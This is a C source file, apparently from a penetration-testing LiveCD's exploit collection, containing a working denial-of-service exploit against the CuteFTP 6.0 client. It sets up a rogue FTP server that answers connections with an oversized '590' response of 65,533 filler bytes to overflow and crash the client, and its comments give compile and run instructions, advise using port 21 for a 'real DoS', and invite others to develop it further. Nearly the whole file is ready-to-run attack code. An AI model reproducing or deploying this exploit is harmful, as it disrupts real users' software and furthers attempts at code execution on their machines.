Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/opt/pentoo/ExploitTree/application/ftp/cuteftp/cuteftpexpl.c

C/C++ Source or Header | 2005-02-12 | 4.4 KB | 193 lines

/* Team priestmasters cute-ftp 6.0 denial of service exploit                      */
/* I wrote this denial of service exploit for other vuln-developers         */
/* (exploit-coder). You can use this DoS as a starting part for your     */
/* own research. I cannot exploit this bug. One byte is overwritten    */
/* by a user supplied value, but I do not know which code use this         */
/* byte. After this RaiseException() is called by the application.         */
/* No registers try to read or write from a user supplied address.         */
/* It results in a "MOV ESI,DWORD PTR DS:[ECX+8]". ESI is set to             */
/* 0x0000FFFA (not user supplied) and it isn't a read/writeable               */
/* address. DS:[ECX+8] also points to nothing. I tried to exploit this */
/* bug on a German Windows XP Professional with SP1                                         */
/*                                                                                                                                        */
/* The executable was: cuteftppro.exe
/*
/* ftpte.exe is also used, but it isn't affected by the overflow I         */
/* think.                                                                                                                             */
/*                                                                                                                                         */
/* Homepage: http://www.priestmaster.org                                                             */
/* Email: [e-mail]                                                                             */

////////////////

// How to use this exploit?:
// Compile it with your windows C compiler (I used lcc compiler):
// "lc cuteftpexpl.c" (I have used lcc compiler, but cl (Visual C++
//                                         should also work with little modifications).
//
// Run with:
// cuteftpexpl.exe

// Now cuteftpexpl listens on port 12345 and wait for connections.
// (12345 only for testing. Use port 21 if you want to use it as
// a real DoS.). Now start cute-ftp 6.0 and connect to your host on
// specified port. Cute ftp will crash :-) If it doesn't work, set
// SMBUFSIZ to a higher value.

// I hope, that a very smart hacker exploit this bug. I'm not good
// in windows exploitation :-( (but I will become a good win-exploiter :-)
//
// greets,
//
// priestmaster


#include <windows.h>
#include <winsock2.h>
#include <stdio.h>

// Minimum size for overflow with 0x41 is 65533
#define SMBUFSIZ        65533        // Send buffer size
#define RMBUFSIZ        256            // Receive buffer size
#define PORTNUM            12345        // listener port number

#define VCHAR                0x41

// Prototypes
int startWinsock(void);


// The fun starts here :-)
int main()

{
    // for for :-)
    int i;

    // Socket handle
  long rc;

    // Overflow buffer
    char sbuf[SMBUFSIZ];  // send buffer
    char rbuf[RMBUFSIZ]; // receive buffer

    // Socket and socket address
  SOCKET acceptSocket;
    SOCKET connectedSocket;
  SOCKADDR_IN addr;

    // Start winsocks
  rc=startWinsock();

    // Error occured ?
  if(rc!=0)
  {
    printf("Error: startWinsock, error code: %d\n",rc);
    return 1;
  }

  else
  {
    printf("Winsock started!\n");
  }

  // creat socket
  acceptSocket=socket(AF_INET,SOCK_STREAM,0);

  // Accept connections
  if(acceptSocket==INVALID_SOCKET)
  {
    printf("Error: cannot create socket, error code: %d\n",WSAGetLastError());
    return 1;
  }

  else
  {
    printf("Socket created!\n");
  }

    // ip or dns-name
    memset(&addr,0,sizeof(SOCKADDR_IN));

    // TCP/IP socket
    addr.sin_family=AF_INET;

    // Port number 12345
    addr.sin_port=htons(PORTNUM);

    // All clients allowed
    addr.sin_addr.s_addr=ADDR_ANY;

    // bind socket to port and check for errors
    rc=bind(acceptSocket,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));

    if(rc==SOCKET_ERROR)
    {
      printf("Error: bind, error code: %d\n",WSAGetLastError());
          return 1;
    }

    else
    {
      printf("Socket listens port 12345\n");
    }

    // Maximum connections is 10. Listen port 12345
    // and check for errors
    rc=listen(acceptSocket,10);

    if(rc==SOCKET_ERROR)
    {
      printf("Error: listen, errorcode: %d\n",WSAGetLastError());
      return 1;
    }

    else
    {
      printf("acceptSocket is in listen mode....\n");
    }

    // Accept and wait for connections
    connectedSocket=accept(acceptSocket,NULL,NULL);

    if(connectedSocket==INVALID_SOCKET)
    {
      printf("Error: accept, error code: %d\n",WSAGetLastError());
      return 1;
    }

    else
    {
      printf("Accept connection !!!\n");
    }

    // Set the whole buffer to VCHAR
    memset(sbuf, VCHAR, SMBUFSIZ);

  // Error code greater than 500 is needed for overflow
    sbuf[0] = '5';
    sbuf[1] = '9';
    sbuf[2] = '0';
    sbuf[3] = ' ';

    // Add newline and terminate
    sbuf[SMBUFSIZ-2] = '\n';
    sbuf[SMBUFSIZ-1] = 0x00;

    // Send response and receive request
    rc=send(connectedSocket,sbuf,strlen(sbuf),0);
    rc=recv(connectedSocket,sbuf,256,0);

    return 0;
}


// Start winsocks
int startWinsock(void)

{
  WSADATA wsa;

  return WSAStartup(MAKEWORD(2,0),&wsa);
}